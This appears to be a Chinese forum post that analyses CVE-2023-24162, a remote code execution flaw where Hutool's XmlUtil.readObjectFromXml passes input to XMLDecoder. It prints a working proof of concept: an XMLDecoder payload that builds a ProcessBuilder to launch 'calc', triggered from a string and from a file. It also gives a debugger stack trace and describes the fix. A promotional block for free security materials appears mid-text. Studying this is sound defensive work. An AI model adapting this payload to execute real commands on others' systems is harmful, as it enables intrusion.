hutool XML反序列化漏洞(CVE-2023-24162)

打印 上一主题 下一主题

主题 845|帖子 845|积分 2535

漏洞简介

  Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现

  我们在 maven 仓库中查找 Hutool
  ​https://mvnrepository.com/search?q=Hutool
  ​[img=720,173.828]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453301.png[/img]
  ​[img=720,316.5349214943151]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453302.png[/img]​
  把依赖复制出来,添加到项目的 pom.xml 文件中
  1. <dependency>
  2.    <groupId>cn.hutool</groupId>
  3.    <artifactId>hutool-all</artifactId>
  4.    <version>5.8.11</version>
  5. </dependency>
复制代码
  添加完成后刷新一下 maven 依赖
  我们编写代码
  1. import cn.hutool.core.util.XmlUtil;
  2. public class Test {
  3.    public static void main(String[] args)  {
  4.        XmlUtil.readObjectFromXml("<java>\n" +
  5.                "    <object class="java.lang.ProcessBuilder">\n" +
  6.                "        <array class="java.lang.String" length="1">\n" +
  7.                "            <void index="0">\n" +
  8.                "                <string>calc</string>\n" +
  9.                "            </void>\n" +
  10.                "        </array>\n" +
  11.                "        <void method="start"></void>\n" +
  12.                "    </object>\n" +
  13.                "</java>\n");
  14.    }
  15. }
复制代码
  ​[img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453303.gif[/img]​
  在项目目录下创建一个 bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发
  1. import cn.hutool.core.util.XmlUtil;
  2. import java.io.File;
  3. public class Test {
  4.    public static void main(String[] args)  {
  5.        File file = new File("bean.xml");
  6.        XmlUtil.readObjectFromXml(file);
  7.    }
  8. }
复制代码
  ​[img=720,391.1943793911007]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453304.gif[/img]​
漏洞分析

  整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫
  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)​
  ​[img=720,83.53271778402248]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453306.png[/img]
  当然这个地方也是可以通过读取文件来实现的
  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)​
  ​[img=720,113.93148450244698]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453307.png[/img]​
  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)​
  ​[img=720,254.4]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453308.png[/img]
  ​java.beans.XMLDecoder#readObject​
  ​[img=720,152.1405049396268]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453309.png[/img]
  漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
漏洞修复

  在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml​ 方法,简单粗暴。
  ​[img=720,30.373644033748494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453310.png[/img]​
XMLDecoder.readObject
  1. <java>
  2. <object >
  3.  <array  length="1">
  4.    <void index="0"><string>calc</string></void>
  5.  </array>
  6.  <void method="start"></void>
  7. </object>
  8. </java>
复制代码
  object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)
  array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)
  void 标签,method 的值对应着 method 的参数 (start)
  最后相当于执行了
  1. new java.lang.ProcessBuilder(new String[]{"calc"}).start();
复制代码
  ‍
  为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理
  ​java.lang.ProcessBuilder#start​
  ​[img=720,189.44356120826708]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453311.png[/img]​
  ‍
  1. start:1007, ProcessBuilder (java.lang)
  2. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  3. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  4. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  5. invoke:498, Method (java.lang.reflect)
  6. invoke:71, Trampoline (sun.reflect.misc)
  7. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  8. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  9. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  10. invoke:498, Method (java.lang.reflect)
  11. invoke:275, MethodUtil (sun.reflect.misc)
  12. invokeInternal:292, Statement (java.beans)
  13. access$000:58, Statement (java.beans)
  14. run:185, Statement$2 (java.beans)
  15. doPrivileged:-1, AccessController (java.security)
  16. invoke:182, Statement (java.beans)
  17. getValue:155, Expression (java.beans)
  18. getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
  19. getValueObject:123, NewElementHandler (com.sun.beans.decoder)
  20. endElement:169, ElementHandler (com.sun.beans.decoder)
  21. endElement:318, DocumentHandler (com.sun.beans.decoder)
  22. endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
  23. scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
  24. next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
  25. next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
  26. scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
  27. parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
  28. parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
  29. parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
  30. parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
  31. parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
  32. parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
  33. run:375, DocumentHandler$1 (com.sun.beans.decoder)
  34. run:372, DocumentHandler$1 (com.sun.beans.decoder)
  35. doPrivileged:-1, AccessController (java.security)
  36. doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
  37. parse:372, DocumentHandler (com.sun.beans.decoder)
  38. run:201, XMLDecoder$1 (java.beans)
  39. run:199, XMLDecoder$1 (java.beans)
  40. doPrivileged:-1, AccessController (java.security)
  41. parsingComplete:199, XMLDecoder (java.beans)
  42. readObject:250, XMLDecoder (java.beans)
  43. main:20, xmldecode (xml)
复制代码
  ‍
  比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析
  ​[img=720,239.00104058272632]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202303061453312.png[/img]​
  ‍
  先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确
  根据 xml 文件的中的标识来识别开始还是结束 </strong>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

前进之路

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表